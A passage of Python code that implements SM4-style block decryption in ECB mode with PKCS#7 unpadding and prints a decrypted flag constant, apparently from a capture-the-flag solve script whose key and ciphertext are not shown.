mk = u32_be_list(key)
k = [mk[i] ^ FK[i] for i in range(4)]
rk: list[int] = []
for i in range(ROUNDS):
nxt = k[i] ^ tp(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i])
k.append(nxt & MASK32)
rk.append(k[-1])
return rk

def encrypt_block(block: bytes, round_keys: list[int]) -> bytes:
if len(block) != BLOCK_SIZE:
raise ValueError("block 必须是 16 字节")
x = u32_be_list(block)
for rk in round_keys:
x.append((x[-4] ^ t(x[-3] ^ x[-2] ^ x[-1] ^ rk)) & MASK32)
return b"".join(word.to_bytes(4, "big") for word in reversed(x[-4:]))

def decrypt_block(block: bytes, round_keys: list[int]) -> bytes:
return encrypt_block(block, list(reversed(round_keys)))

def pkcs7_unpad(data: bytes, block_size: int = BLOCK_SIZE) -> bytes:
if not data or len(data) % block_size:
raise ValueError("填充数据长度不合法")
pad_len = data[-1]
if pad_len == 0 or pad_len > block_size:
raise ValueError("PKCS#7 padding 非法")
if data[-pad_len:] != bytes([pad_len]) * pad_len:
raise ValueError("PKCS#7 padding 非法")
return data[:-pad_len]

def decrypt_ecb(ciphertext: bytes, key: bytes) -> bytes:
if len(ciphertext) % BLOCK_SIZE:
raise ValueError("密文长度必须是 16 的倍数")
round_keys = expand_key(key)
out = bytearray()
for i in range(0, len(ciphertext), BLOCK_SIZE):
out.extend(decrypt_block(ciphertext[i:i + BLOCK_SIZE], round_keys))
return pkcs7_unpad(bytes(out))

def main() -> None:
ciphertext = bytes.fromhex(FLAG_CT_HEX)
plaintext = decrypt_ecb(ciphertext, KEY)

print("plaintext hex:")
print(plaintext.hex())

print("\nplaintext text:")
try:
text = plaintext.decode("utf-8")
except UnicodeDecodeError:
text = plaintext.decode("utf-8", errors="replace")
print(text)

if __name__ == "__main__":
main()
img